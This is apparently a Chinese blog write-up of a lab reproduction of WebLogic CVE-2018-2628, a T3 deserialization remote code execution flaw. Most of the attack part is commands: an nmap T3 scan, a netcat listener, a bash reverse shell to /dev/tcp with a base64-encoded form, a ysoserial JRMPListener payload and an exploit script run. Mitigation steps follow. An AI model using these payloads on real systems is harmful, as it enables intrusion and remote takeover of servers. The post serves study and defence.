weblogic 反序列化 CVE-2018-2628

2024-05-12 13:44
文章标签 序列化 2018 cve weblogic 2628

本文主要是介绍weblogic 反序列化 CVE-2018-2628,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这个漏洞因为java版本问题一直下载不了ysoserial反序列化工具,没办法生成payload。这里记录一下漏洞原理。

一、漏洞简介

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)

二、影响版本

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

三、漏洞复现

扫描靶场查看有没有开启t3协议(T3 协议是 Oracle WebLogic Server 使用的一种通信协议,它用于在 WebLogic Server 节点之间进行通信。T3 协议是基于 Java 的 RMI(远程方法调用)协议的一种扩展,它提供了可靠的、高性能的、面向对象的远程通信机制。),和weblogic版本

nmap -n -v -p 7001,7002 192.168.116.144 --script=weblogic-t3-info 

 

1、使用ysoserial启动一个JMRP Server

nc -lvvp 9090

2、JMRP Server开启监听请求,向目标服务器发送序列化的bash反弹shell命令

sh -i >& /dev/tcp/192.168.116.144/9999 0>&1
#反弹shell命令,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
#开启JMRP Server服务并发送反弹shell
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

3、接下来使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)

python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.116.144 7777 JRMPClient
#exp.py原理是利用 T3 协议通信与目标主机进行交互,并利用 ysoserial 工具生成的 payload 来触发目标系统的远程代码执行漏洞

4、查看监听端口

 四、修复建议

此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端 口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护 该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用 此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修 复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏 洞的有效方式。控制T3服务方式:

1、进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面, 点击“筛选器”,进入连接筛选器配置。 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,

在连接筛 选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s 协议的所有端口只允许本地访问)。 保存后需重新启动,规则方可生效。

2. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。

这篇关于weblogic 反序列化 CVE-2018-2628的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/982796

相关文章

Java中JSON格式反序列化为Map且保证存取顺序一致的问题

《Java中JSON格式反序列化为Map且保证存取顺序一致的问题》:本文主要介绍Java中JSON格式反序列化为Map且保证存取顺序一致的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未... 目录背景问题解决方法总结背景做项目涉及两个微服务之间传数据时,需要提供方将Map类型的数据序列化为co

RedisTemplate默认序列化方式显示中文乱码的解决

《RedisTemplate默认序列化方式显示中文乱码的解决》本文主要介绍了SpringDataRedis默认使用JdkSerializationRedisSerializer导致数据乱码,文中通过示... 目录1. 问题原因2. 解决方案3. 配置类示例4. 配置说明5. 使用示例6. 验证存储结果7.

SpringBoot实现Kafka动态反序列化的完整代码

《SpringBoot实现Kafka动态反序列化的完整代码》在分布式系统中,Kafka作为高吞吐量的消息队列,常常需要处理来自不同主题(Topic)的异构数据,不同的业务场景可能要求对同一消费者组内的... 目录引言一、问题背景1.1 动态反序列化的需求1.2 常见问题二、动态反序列化的核心方案2.1 ht

SpringBoot项目中Redis存储Session对象序列化处理

《SpringBoot项目中Redis存储Session对象序列化处理》在SpringBoot项目中使用Redis存储Session时,对象的序列化和反序列化是关键步骤,下面我们就来讲讲如何在Spri... 目录一、为什么需要序列化处理二、Spring Boot 集成 Redis 存储 Session2.1

Java controller接口出入参时间序列化转换操作方法(两种)

《Javacontroller接口出入参时间序列化转换操作方法(两种)》:本文主要介绍Javacontroller接口出入参时间序列化转换操作方法,本文给大家列举两种简单方法,感兴趣的朋友一起看... 目录方式一、使用注解方式二、统一配置场景:在controller编写的接口,在前后端交互过程中一般都会涉及

C++如何通过Qt反射机制实现数据类序列化

《C++如何通过Qt反射机制实现数据类序列化》在C++工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作,所以本文就来聊聊C++如何通过Qt反射机制实现数据类序列化吧... 目录设计预期设计思路代码实现使用方法在 C++ 工程中经常需要使用数据类,并对数据类进行存储、打印、调试等操作。由于数据类

如何配置Spring Boot中的Jackson序列化

《如何配置SpringBoot中的Jackson序列化》在开发基于SpringBoot的应用程序时,Jackson是默认的JSON序列化和反序列化工具,本文将详细介绍如何在SpringBoot中配置... 目录配置Spring Boot中的Jackson序列化1. 为什么需要自定义Jackson配置?2.

Django序列化中SerializerMethodField的使用详解

《Django序列化中SerializerMethodField的使用详解》:本文主要介绍Django序列化中SerializerMethodField的使用,具有很好的参考价值,希望对大家有所帮... 目录SerializerMethodField的基本概念使用SerializerMethodField的

Jackson库进行JSON 序列化时遇到了无限递归(Infinite Recursion)的问题及解决方案

《Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursion)的问题及解决方案》使用Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursi... 目录解决方案‌1. 使用 @jsonIgnore 忽略一个方向的引用2. 使用 @JsonManagedR

Java中JSON字符串反序列化(动态泛型)

《Java中JSON字符串反序列化(动态泛型)》文章讨论了在定时任务中使用反射调用目标对象时处理动态参数的问题,通过将方法参数存储为JSON字符串并进行反序列化,可以实现动态调用,然而,这种方式容易导... 需求:定时任务扫描,反射调用目标对象,但是,方法的传参不是固定的。方案一:将方法参数存成jsON字